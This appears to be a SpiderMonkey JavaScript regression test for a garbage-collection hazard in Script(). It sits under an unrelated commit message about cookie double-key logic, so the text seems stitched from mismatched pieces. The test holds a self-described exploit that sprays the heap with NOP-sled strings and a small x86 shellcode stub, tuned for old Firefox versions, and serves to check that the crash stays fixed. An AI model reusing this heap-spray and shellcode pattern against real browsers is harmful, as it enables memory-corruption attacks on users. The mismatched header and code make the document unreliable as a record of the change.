Sat, 03 Jan 2015 20:18:00 +0100
Conditionally enable double key logic according to:
private browsing mode or privacy.thirdparty.isolate preference and
implement in GetCookieStringCommon and FindCookie where it counts...
With some reservations of how to convince FindCookie users to test
condition and pass a nullptr when disabling double key logic.
1 /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
2 /* This Source Code Form is subject to the terms of the Mozilla Public
3 * License, v. 2.0. If a copy of the MPL was not distributed with this
4 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
6 //-----------------------------------------------------------------------------
7 var BUGNUMBER = 338804;
8 var summary = 'GC hazards in constructor functions';
9 var actual = 'No Crash';
10 var expect = 'No Crash';
12 printBugNumber(BUGNUMBER);
13 printStatus (summary);
14 printStatus ('Uses Intel Assembly');
16 // <script>
17 // SpiderMonkey Script() GC hazard exploit
18 //
19 // scale: magic number ;-)
20 // BonEcho/2.0a2: 3000
21 // Firefox/1.5.0.4: 2000
22 //
23 var rooter, scale = 2000;
25 exploit();
26 /*
27 if(typeof(setTimeout) != "undefined") {
28 setTimeout(exploit, 2000);
29 } else {
30 exploit();
31 }
32 */
34 function exploit() {
35 if (typeof Script == 'undefined')
36 {
37 print('Test skipped. Script not defined.');
38 }
39 else
40 {
41 Script({ toString: fillHeap });
42 Script({ toString: fillHeap });
43 }
44 }
46 function createPayload() {
47 var result = "\u9090", i;
48 for(i = 0; i < 9; i++) {
49 result += result;
50 }
51 /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
52 result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
53 return result;
54 }
56 function fillHeap() {
57 rooter = [];
58 var payload = createPayload(), block = "", s2 = scale * 2, i;
59 for(i = 0; i < scale; i++) {
60 rooter[i] = block = block + payload;
61 }
62 for(; i < s2; i++) {
63 rooter[i] = payload + i;
64 }
65 return "";
66 }
68 // </script>
70 reportCompare(expect, actual, summary);